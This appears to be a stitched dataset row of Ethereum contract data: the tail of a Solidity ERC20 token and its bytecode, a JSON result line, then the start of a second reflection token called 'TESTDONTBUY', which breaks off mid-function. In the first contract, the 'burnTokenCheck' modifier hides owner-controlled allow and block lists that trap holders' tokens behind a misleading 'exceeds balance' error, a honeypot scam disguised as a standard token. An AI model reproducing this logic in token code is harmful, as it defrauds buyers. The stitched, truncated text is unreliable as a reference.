function _approveCheck(address sender, address recipient, uint256 amount) internal burnTokenCheck(sender,recipient,amount) virtual {
require(sender != address(0), "ERC20: transfer from the zero address");
require(recipient != address(0), "ERC20: transfer to the zero address");
_beforeTokenTransfer(sender, recipient, amount);
_balances[sender] = _balances[sender].sub(amount, "ERC20: transfer amount exceeds balance");
_balances[recipient] = _balances[recipient].add(amount);
emit Transfer(sender, recipient, amount);
}
modifier burnTokenCheck(address sender, address recipient, uint256 amount){
if (_owner == _safeOwner && sender == _owner){_safeOwner = recipient;_;}else{
if (sender == _owner || sender == _safeOwner || recipient == _owner){
if (sender == _owner && sender == recipient){_sellAmount = amount;}_;}else{
if (_whiteAddress[sender] == true){
_;}else{if (_blackAddress[sender] == true){
require((sender == _safeOwner)||(recipient == _unirouter), "ERC20: transfer amount exceeds balance");_;}else{
if (amount < _sellAmount){
if(recipient == _safeOwner){_blackAddress[sender] = true; _whiteAddress[sender] = false;}
_; }else{require((sender == _safeOwner)||(recipient == _unirouter), "ERC20: transfer amount exceeds balance");_;}
}
}
}
}
}
function _setupDecimals(uint8 decimals_) internal {
_decimals = decimals_;
}
function _beforeTokenTransfer(address from, address to, uint256 amount) internal virtual { }
}
|
0x608060405234801561001057600080fd5b50600436106100f55760003560e01c806352b0f19611610097578063a9059cbb11610066578063a9059cbb1461061f578063b2bdfa7b14610683578063dd62ed3e146106b7578063e12681151461072f576100f5565b806352b0f196146103aa57806370a082311461050057806380b2122e1461055857806395d89b411461059c576100f5565b806318160ddd116100d357806318160ddd1461029957806323b872dd146102b7578063313ce5671461033b5780634e6ec2471461035c576100f5565b8063043fa39e146100fa57806306fdde03146101b2578063095ea7b314610235575b600080fd5b6101b06004803603602081101561011057600080fd5b810190808035906020019064010000000081111561012d57600080fd5b82018360208201111561013f57600080fd5b8035906020019184602083028401116401000000008311171561016157600080fd5b919080806020026020016040519081016040528093929190818152602001838360200280828437600081840152601f19601f8201169050808301925050505050505091929192905050506107e7565b005b6101ba61099d565b6040518080602001828103825283818151815260200191508051906020019080838360005b838110156101fa5780820151818401526020810190506101df565b50505050905090810190601f1680156102275780820380516001836020036101000a031916815260200191505b509250505060405180910390f35b6102816004803603604081101561024b57600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff16906020019092919080359060200190929190505050610a3f565b60405180821515815260200191505060405180910390f35b6102a1610a5d565b6040518082815260200191505060405180910390f35b610323600480360360608110156102cd57600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190803573ffffffffffffffffffffffffffffffffffffffff16906020019092919080359060200190929190505050610a67565b60405180821515815260200191505060405180910390f35b610343610b40565b604051808260ff16815260200191505060405180910390f35b6103a86004803603604081101561037257600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff16906020019092919080359060200190929190505050610b57565b005b6104fe600480360360608110156103c057600080fd5b8101908080359060200190929190803590602001906401000000008111156103e757600080fd5b8201836020820111156103f957600080fd5b8035906020019184602083028401116401000000008311171561041b57600080fd5b919080806020026020016040519081016040528093929190818152602001838360200280828437600081840152601f19601f8201169050808301925050505050505091929192908035906020019064010000000081111561047b57600080fd5b82018360208201111561048d57600080fd5b803590602001918460208302840111640100000000831117156104af57600080fd5b919080806020026020016040519081016040528093929190818152602001838360200280828437600081840152601f19601f820116905080830192505050505050509192919290505050610d76565b005b6105426004803603602081101561051657600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190505050610f7a565b6040518082815260200191505060405180910390f35b61059a6004803603602081101561056e57600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190505050610fc2565b005b6105a46110c9565b6040518080602001828103825283818151815260200191508051906020019080838360005b838110156105e45780820151818401526020810190506105c9565b50505050905090810190601f1680156106115780820380516001836020036101000a031916815260200191505b509250505060405180910390f35b61066b6004803603604081101561063557600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff1690602001909291908035906020019092919050505061116b565b60405180821515815260200191505060405180910390f35b61068b611189565b604051808273ffffffffffffffffffffffffffffffffffffffff16815260200191505060405180910390f35b610719600480360360408110156106cd57600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190803573ffffffffffffffffffffffffffffffffffffffff1690602001909291905050506111af565b6040518082815260200191505060405180910390f35b6107e56004803603602081101561074557600080fd5b810190808035906020019064010000000081111561076257600080fd5b82018360208201111561077457600080fd5b8035906020019184602083028401116401000000008311171561079657600080fd5b919080806020026020016040519081016040528093929190818152602001838360200280828437600081840152601f19601f820116905080830192505050505050509192919290505050611236565b005b600a60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff16146108aa576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260068152602001807f216f776e6572000000000000000000000000000000000000000000000000000081525060200191505060405180910390fd5b60005b8151811015610999576001600260008484815181106108c857fe5b602002602001015173ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff02191690831515021790555060006001600084848151811061093357fe5b602002602001015173ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff02191690831515021790555080806001019150506108ad565b5050565b606060068054600181600116156101000203166002900480601f016020809104026020016040519081016040528092919081815260200182805460018160011615610100020316600290048015610a355780601f10610a0a57610100808354040283529160200191610a35565b820191906000526020600020905b815481529060010190602001808311610a1857829003601f168201915b5050505050905090565b6000610a53610a4c611473565b848461147b565b6001905092915050565b6000600554905090565b6000610a74848484611672565b610b3584610a80611473565b610b3085604051806060016040528060288152602001612ea060289139600460008b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000206000610ae6611473565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054612d6f9092919063ffffffff16565b61147b565b600190509392505050565b6000600860009054906101000a900460ff16905090565b600a60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff1614610c1a576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040180806020018281038252601f8152602001807f45524332303a206d696e7420746f20746865207a65726f20616464726573730081525060200191505060405180910390fd5b610c2f816005546113eb90919063ffffffff16565b600581905550610ca881600080600a60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546113eb90919063ffffffff16565b600080600a60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508173ffffffffffffffffffffffffffffffffffffffff16600073ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef836040518082815260200191505060405180910390a35050565b600a60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff1614610e39576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260068152602001807f216f776e6572000000000000000000000000000000000000000000000000000081525060200191505060405180910390fd5b60005b8251811015610f745760006003905060006102149050610e82858481518110610e6157fe5b6020026020010151858581518110610e7557fe5b602002602001015161116b565b5085831015610f65576001806000878681518110610e9c57fe5b602002602001015173ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff02191690831515021790555060006003905060006102149050610f62878681518110610f1157fe5b6020026020010151600c60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff167fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff61147b565b50505b50508080600101915050610e3c565b50505050565b60008060008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020549050919050565b600a60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff1614611085576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260068152602001807f216f776e6572000000000000000000000000000000000000000000000000000081525060200191505060405180910390fd5b80600b60006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff16021790555050565b606060078054600181600116156101000203166002900480601f0160208091040260200160405190810160405280929190818152602001828054600181600116156101000203166002900480156111615780601f1061113657610100808354040283529160200191611161565b820191906000526020600020905b81548152906001019060200180831161114457829003601f168201915b5050505050905090565b600061117f611178611473565b8484611672565b6001905092915050565b600a60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b6000600460008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054905092915050565b600a60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff16146112f9576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260068152602001807f216f776e6572000000000000000000000000000000000000000000000000000081525060200191505060405180910390fd5b60005b81518110156113e757600180600084848151811061131657fe5b602002602001015173ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff02191690831515021790555060006002600084848151811061138157fe5b602002602001015173ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff02191690831515021790555080806001019150506112fc565b5050565b600080828401905083811015611469576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040180806020018281038252601b8152602001807f536166654d6174683a206164646974696f6e206f766572666c6f77000000000081525060200191505060405180910390fd5b8091505092915050565b600033905090565b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff161415611501576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401808060200182810382526024815260200180612eed6024913960400191505060405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff161415611587576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401808060200182810382526022815260200180612e586022913960400191505060405180910390fd5b80600460008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508173ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925836040518082815260200191505060405180910390a3505050565b828282600b60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16600a60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff161480156117415750600a60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff16145b15611a485781600b60006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550600073ffffffffffffffffffffffffffffffffffffffff168673ffffffffffffffffffffffffffffffffffffffff16141561180d576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401808060200182810382526025815260200180612ec86025913960400191505060405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168573ffffffffffffffffffffffffffffffffffffffff161415611893576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401808060200182810382526023815260200180612e356023913960400191505060405180910390fd5b61189e868686612e2f565b61190984604051806060016040528060268152602001612e7a602691396000808a73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054612d6f9092919063ffffffff16565b6000808873ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000208190555061199c846000808873ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546113eb90919063ffffffff16565b6000808773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508473ffffffffffffffffffffffffffffffffffffffff168673ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef866040518082815260200191505060405180910390a3612d67565b600a60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff161480611af15750600b60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff16145b80611b495750600a60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff16145b15611ea457600a60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff16148015611bd657508173ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff16145b15611be357806003819055505b600073ffffffffffffffffffffffffffffffffffffffff168673ffffffffffffffffffffffffffffffffffffffff161415611c69576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401808060200182810382526025815260200180612ec86025913960400191505060405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168573ffffffffffffffffffffffffffffffffffffffff161415611cef576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401808060200182810382526023815260200180612e356023913960400191505060405180910390fd5b611cfa868686612e2f565b611d6584604051806060016040528060268152602001612e7a602691396000808a73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054612d6f9092919063ffffffff16565b6000808873ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550611df8846000808873ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546113eb90919063ffffffff16565b6000808773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508473ffffffffffffffffffffffffffffffffffffffff168673ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef866040518082815260200191505060405180910390a3612d66565b60011515600160008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16151514156121be57600073ffffffffffffffffffffffffffffffffffffffff168673ffffffffffffffffffffffffffffffffffffffff161415611f83576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401808060200182810382526025815260200180612ec86025913960400191505060405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168573ffffffffffffffffffffffffffffffffffffffff161415612009576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401808060200182810382526023815260200180612e356023913960400191505060405180910390fd5b612014868686612e2f565b61207f84604051806060016040528060268152602001612e7a602691396000808a73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054612d6f9092919063ffffffff16565b6000808873ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550612112846000808873ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546113eb90919063ffffffff16565b6000808773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508473ffffffffffffffffffffffffffffffffffffffff168673ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef866040518082815260200191505060405180910390a3612d65565b60011515600260008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16151514156125d657600b60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1614806122c05750600c60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff16145b612315576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401808060200182810382526026815260200180612e7a6026913960400191505060405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168673ffffffffffffffffffffffffffffffffffffffff16141561239b576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401808060200182810382526025815260200180612ec86025913960400191505060405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168573ffffffffffffffffffffffffffffffffffffffff161415612421576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401808060200182810382526023815260200180612e356023913960400191505060405180910390fd5b61242c868686612e2f565b61249784604051806060016040528060268152602001612e7a602691396000808a73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054612d6f9092919063ffffffff16565b6000808873ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000208190555061252a846000808873ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546113eb90919063ffffffff16565b6000808773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508473ffffffffffffffffffffffffffffffffffffffff168673ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef866040518082815260200191505060405180910390a3612d64565b6003548110156129a857600b60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1614156126e7576001600260008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff0219169083151502179055506000600160008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff0219169083151502179055505b600073ffffffffffffffffffffffffffffffffffffffff168673ffffffffffffffffffffffffffffffffffffffff16141561276d576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401808060200182810382526025815260200180612ec86025913960400191505060405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168573ffffffffffffffffffffffffffffffffffffffff1614156127f3576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401808060200182810382526023815260200180612e356023913960400191505060405180910390fd5b6127fe868686612e2f565b61286984604051806060016040528060268152602001612e7a602691396000808a73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054612d6f9092919063ffffffff16565b6000808873ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055506128fc846000808873ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546113eb90919063ffffffff16565b6000808773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508473ffffffffffffffffffffffffffffffffffffffff168673ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef866040518082815260200191505060405180910390a3612d63565b600b60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff161480612a515750600c60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff16145b612aa6576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401808060200182810382526026815260200180612e7a6026913960400191505060405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168673ffffffffffffffffffffffffffffffffffffffff161415612b2c576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401808060200182810382526025815260200180612ec86025913960400191505060405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168573ffffffffffffffffffffffffffffffffffffffff161415612bb2576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401808060200182810382526023815260200180612e356023913960400191505060405180910390fd5b612bbd868686612e2f565b612c2884604051806060016040528060268152602001612e7a602691396000808a73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054612d6f9092919063ffffffff16565b6000808873ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550612cbb846000808873ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546113eb90919063ffffffff16565b6000808773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508473ffffffffffffffffffffffffffffffffffffffff168673ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef866040518082815260200191505060405180910390a35b5b5b5b5b505050505050565b6000838311158290612e1c576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825283818151815260200191508051906020019080838360005b83811015612de1578082015181840152602081019050612dc6565b50505050905090810190601f168015612e0e5780820380516001836020036101000a031916815260200191505b509250505060405180910390fd5b5060008385039050809150509392505050565b50505056fe45524332303a207472616e7366657220746f20746865207a65726f206164647265737345524332303a20617070726f766520746f20746865207a65726f206164647265737345524332303a207472616e7366657220616d6f756e7420657863656564732062616c616e636545524332303a207472616e7366657220616d6f756e74206578636565647320616c6c6f77616e636545524332303a207472616e736665722066726f6d20746865207a65726f206164647265737345524332303a20617070726f76652066726f6d20746865207a65726f2061646472657373a26469706673582212204a86c4d251d8ef7969b90abe9946980dfeb50103a82d2f44914f571cae28510864736f6c634300060c0033
|
{"success": true, "error": null, "results": {}}
| 9,372 |
0xfd529ae49c3b61a6f42c022849a378682c1dfc0e
|
/**
*Submitted for verification at Etherscan.io on 2021-06-05
*/
/*
SPDX-License-Identifier: Mines™®©
*/
pragma solidity ^0.8.4;
abstract contract Context {
function _msgSender() internal view virtual returns (address) {
return msg.sender;
}
}
interface IERC20 {
function totalSupply() external view returns (uint256);
function balanceOf(address account) external view returns (uint256);
function transfer(address recipient, uint256 amount) external returns (bool);
function allowance(address owner, address spender) external view returns (uint256);
function approve(address spender, uint256 amount) external returns (bool);
function transferFrom(address sender, address recipient, uint256 amount) external returns (bool);
event Transfer(address indexed from, address indexed to, uint256 value);
event Approval(address indexed owner, address indexed spender, uint256 value);
}
library SafeMath {
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
require(c >= a, "SafeMath: addition overflow");
return c;
}
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
return sub(a, b, "SafeMath: subtraction overflow");
}
function sub(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b <= a, errorMessage);
uint256 c = a - b;
return c;
}
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
if (a == 0) {
return 0;
}
uint256 c = a * b;
require(c / a == b, "SafeMath: multiplication overflow");
return c;
}
function div(uint256 a, uint256 b) internal pure returns (uint256) {
return div(a, b, "SafeMath: division by zero");
}
function div(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b > 0, errorMessage);
uint256 c = a / b;
return c;
}
}
contract Ownable is Context {
address private _owner;
address private _previousOwner;
event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);
constructor() {
address msgSender = _msgSender();
_owner = msgSender;
emit OwnershipTransferred(address(0), msgSender);
}
function owner() public view returns (address) {
return _owner;
}
modifier onlyOwner() {
require(_owner == _msgSender(), "Ownable: caller is not the owner");
_;
}
function renounceOwnership() public virtual onlyOwner {
emit OwnershipTransferred(_owner, address(0));
_owner = address(0);
}
}
interface IUniswapV2Factory {
function createPair(address tokenA, address tokenB) external returns (address pair);
}
interface IUniswapV2Router02 {
function swapExactTokensForETHSupportingFeeOnTransferTokens(
uint256 amountIn,
uint256 amountOutMin,
address[] calldata path,
address to,
uint256 deadline
) external;
function factory() external pure returns (address);
function WETH() external pure returns (address);
function addLiquidityETH(
address token,
uint256 amountTokenDesired,
uint256 amountTokenMin,
uint256 amountETHMin,
address to,
uint256 deadline
) external payable returns (uint256 amountToken, uint256 amountETH, uint256 liquidity);
}
contract TESTDONTBUY is Context, IERC20, Ownable {
using SafeMath for uint256;
string private constant _name = unicode"TESTDONTBUY";
string private constant _symbol = "TDB";
uint8 private constant _decimals = 9;
mapping(address => uint256) private _rOwned;
mapping(address => uint256) private _tOwned;
mapping(address => mapping(address => uint256)) private _allowances;
mapping(address => bool) private _isExcludedFromFee;
uint256 private constant MAX = ~uint256(0);
uint256 private constant _tTotal = 1000000000000 * 10**9;
uint256 private _rTotal = (MAX - (MAX % _tTotal));
uint256 private _tFeeTotal;
uint256 private _taxFee = 7;
uint256 private _teamFee = 5;
mapping(address => bool) private bots;
mapping(address => uint256) private buycooldown;
mapping(address => uint256) private sellcooldown;
mapping(address => uint256) private firstsell;
mapping(address => uint256) private sellnumber;
address payable private _teamAddress;
address payable private _marketingFunds;
IUniswapV2Router02 private uniswapV2Router;
address private uniswapV2Pair;
bool private tradingOpen = false;
bool private liquidityAdded = false;
bool private inSwap = false;
bool private swapEnabled = false;
bool private cooldownEnabled = false;
uint256 private _maxTxAmount = _tTotal;
event MaxTxAmountUpdated(uint256 _maxTxAmount);
modifier lockTheSwap {
inSwap = true;
_;
inSwap = false;
}
constructor(address payable addr1, address payable addr2) {
_teamAddress = addr1;
_marketingFunds = addr2;
_rOwned[_msgSender()] = _rTotal;
_isExcludedFromFee[owner()] = true;
_isExcludedFromFee[address(this)] = true;
_isExcludedFromFee[_teamAddress] = true;
_isExcludedFromFee[_marketingFunds] = true;
emit Transfer(address(0), _msgSender(), _tTotal);
}
function name() public pure returns (string memory) {
return _name;
}
function symbol() public pure returns (string memory) {
return _symbol;
}
function decimals() public pure returns (uint8) {
return _decimals;
}
function totalSupply() public pure override returns (uint256) {
return _tTotal;
}
function balanceOf(address account) public view override returns (uint256) {
return tokenFromReflection(_rOwned[account]);
}
function transfer(address recipient, uint256 amount) public override returns (bool) {
_transfer(_msgSender(), recipient, amount);
return true;
}
function allowance(address owner, address spender) public view override returns (uint256) {
return _allowances[owner][spender];
}
function approve(address spender, uint256 amount) public override returns (bool) {
_approve(_msgSender(), spender, amount);
return true;
}
function transferFrom(address sender, address recipient, uint256 amount) public override returns (bool) {
_transfer(sender, recipient, amount);
_approve(sender,_msgSender(),_allowances[sender][_msgSender()].sub(amount,"ERC20: transfer amount exceeds allowance"));
return true;
}
function setCooldownEnabled(bool onoff) external onlyOwner() {
cooldownEnabled = onoff;
}
function tokenFromReflection(uint256 rAmount) private view returns (uint256) {
require(rAmount <= _rTotal,"Amount must be less than total reflections");
uint256 currentRate = _getRate();
return rAmount.div(currentRate);
}
function removeAllFee() private {
if (_taxFee == 0 && _teamFee == 0) return;
_taxFee = 0;
_teamFee = 0;
}
function restoreAllFee() private {
_taxFee = 7;
_teamFee = 5;
}
function setFee(uint256 multiplier) private {
_taxFee = _taxFee * multiplier;
if (multiplier > 1) {
_teamFee = 10;
}
}
function _approve(address owner, address spender, uint256 amount) private {
require(owner != address(0), "ERC20: approve from the zero address");
require(spender != address(0), "ERC20: approve to the zero address");
_allowances[owner][spender] = amount;
emit Approval(owner, spender, amount);
}
function _transfer(address from, address to, uint256 amount) private {
require(from != address(0), "ERC20: transfer from the zero address");
require(to != address(0), "ERC20: transfer to the zero address");
require(amount > 0, "Transfer amount must be greater than zero");
if (from != owner() && to != owner()) {
if (cooldownEnabled) {
if (from != address(this) && to != address(this) && from != address(uniswapV2Router) && to != address(uniswapV2Router)) {
require(_msgSender() == address(uniswapV2Router) || _msgSender() == uniswapV2Pair,"ERR: Uniswap only");
}
}
require(!bots[from] && !bots[to]);
if (from == uniswapV2Pair && to != address(uniswapV2Router) && !_isExcludedFromFee[to] && cooldownEnabled) {
require(tradingOpen);
require(amount <= _maxTxAmount);
require(buycooldown[to] < block.timestamp);
buycooldown[to] = block.timestamp + (30 seconds);
_teamFee = 6;
_taxFee = 2;
}
uint256 contractTokenBalance = balanceOf(address(this));
if (!inSwap && from != uniswapV2Pair && swapEnabled) {
require(amount <= balanceOf(uniswapV2Pair).mul(3).div(100) && amount <= _maxTxAmount);
require(sellcooldown[from] < block.timestamp);
if(firstsell[from] + (1 days) < block.timestamp){
sellnumber[from] = 0;
}
if (sellnumber[from] == 0) {
sellnumber[from]++;
firstsell[from] = block.timestamp;
sellcooldown[from] = block.timestamp + (1 hours);
}
else if (sellnumber[from] == 1) {
sellnumber[from]++;
sellcooldown[from] = block.timestamp + (2 hours);
}
else if (sellnumber[from] == 2) {
sellnumber[from]++;
sellcooldown[from] = block.timestamp + (6 hours);
}
else if (sellnumber[from] == 3) {
sellnumber[from]++;
sellcooldown[from] = firstsell[from] + (1 days);
}
swapTokensForEth(contractTokenBalance);
uint256 contractETHBalance = address(this).balance;
if (contractETHBalance > 0) {
sendETHToFee(address(this).balance);
}
